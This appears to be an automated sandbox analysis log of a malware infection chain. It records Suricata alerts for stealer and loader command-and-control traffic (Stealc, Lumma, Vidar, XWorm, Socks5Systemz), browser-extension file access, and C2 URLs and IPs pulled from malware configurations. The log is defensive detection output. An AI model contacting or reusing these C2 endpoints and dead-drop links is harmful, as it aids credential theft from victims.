Source:	Binary string: \??\C:\Windows\exe\instruction_manual.pdbtN source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb\| source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\zlib-dll\Release\isunzlib.pdb source: tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000002.3078232891.00000000022E3000.00000002.00000001.01000000.00000018.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000002.3077102258.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000003.1967614585.00000000020A8000.00000004.00001000.00020000.00000000.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000003.1967512690.00000000030F0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0053F895 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	2_2_0053F895
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_004062D5 FindFirstFileW,FindClose,	6_2_004062D5
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_00402E18 FindFirstFileW,	6_2_00402E18
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00406C9B
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: 7_2_0040301A GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	7_2_0040301A
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: 7_2_00402B79 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	7_2_00402B79
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_004062D5 FindFirstFileW,FindClose,	12_2_004062D5
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_00402E18 FindFirstFileW,	12_2_00402E18
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	12_2_00406C9B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054709 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (GET) : 192.168.2.4:49730 -> 195.10.205.48:80
Source: Network traffic	Suricata IDS: 2054710 - Severity 1 - ET MALWARE PrivateLoader CnC Response : 195.10.205.48:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2054711 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (POST) : 192.168.2.4:49730 -> 195.10.205.48:80
Source: Network traffic	Suricata IDS: 2046266 - Severity 1 - ET MALWARE [ANY.RUN] RisePro TCP (Token) : 77.105.164.24:50505 -> 192.168.2.4:49751
Source: Network traffic	Suricata IDS: 2046269 - Severity 1 - ET MALWARE [ANY.RUN] RisePro TCP (Activity) : 192.168.2.4:49751 -> 77.105.164.24:50505
Source: Network traffic	Suricata IDS: 2049060 - Severity 1 - ET MALWARE RisePro TCP Heartbeat Packet : 192.168.2.4:49751 -> 77.105.164.24:50505
Source: Network traffic	Suricata IDS: 2054711 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (POST) : 192.168.2.4:49748 -> 195.10.205.48:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49750 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49750 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.4:49750
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49750 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.4:49750
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49750 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2055575 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop) : 192.168.2.4:57519 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.4:54197 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055576 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI) : 192.168.2.4:49768 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.4:59649 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055489 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) : 192.168.2.4:49770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49774 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49779 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49796 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49816 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49813 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49806 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49816 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49811 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49806 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49813 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49821 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49826 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49821 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49815 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49811 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49815 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49819 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49817 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49823 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49823 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49826 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49825 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49824 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49819 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:49807 -> 95.164.119.162:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49817 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49798 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49810 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49810 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49824 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49809 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49798 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49808 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49825 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49800 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49800 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49827 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49827 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49804 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49804 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49809 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49808 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49812 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49812 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49818 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49818 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49828 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49828 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49829 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49829 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49830 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49830 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49831 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49831 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49832 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49832 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49836 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49836 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49834 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49834 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49838 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49838 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49841 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49841 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49833 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49833 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49839 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49840 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49837 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49840 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49837 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49839 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49835 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49835 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49843 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49843 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49847 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49844 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49847 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49844 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49845 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49845 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49848 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49848 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49846 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49846 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49849 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49849 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49842 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49842 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49850 -> 147.45.68.138:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.68.138:80 -> 192.168.2.4:49850
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.68.138:80 -> 192.168.2.4:49850
Source: Network traffic	Suricata IDS: 2853192 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound : 192.168.2.4:49820 -> 85.209.133.150:6677
Source: Network traffic	Suricata IDS: 2853191 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound : 85.209.133.150:6677 -> 192.168.2.4:49820
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 85.209.133.150:6677 -> 192.168.2.4:49820
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 85.209.133.150:6677 -> 192.168.2.4:49820
Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49820 -> 85.209.133.150:6677
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.4:49820 -> 85.209.133.150:6677
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.68.138:80 -> 192.168.2.4:49851
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.68.138:80 -> 192.168.2.4:49851
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49822 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49822 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49779 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49779 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49768 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49768 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49773 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 94.130.188.148:443 -> 192.168.2.4:49773
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 94.130.188.148:443 -> 192.168.2.4:49769
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49774 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49774 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: bftexwm.com
Source: Malware configuration extractor	URLs: https://pastebin.com/raw/jxfGm9Pc
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199761128941

Source: global traffic	TCP traffic: 192.168.2.4:49751 -> 77.105.164.24:50505
Source: global traffic	TCP traffic: 192.168.2.4:49801 -> 89.105.201.183:2023

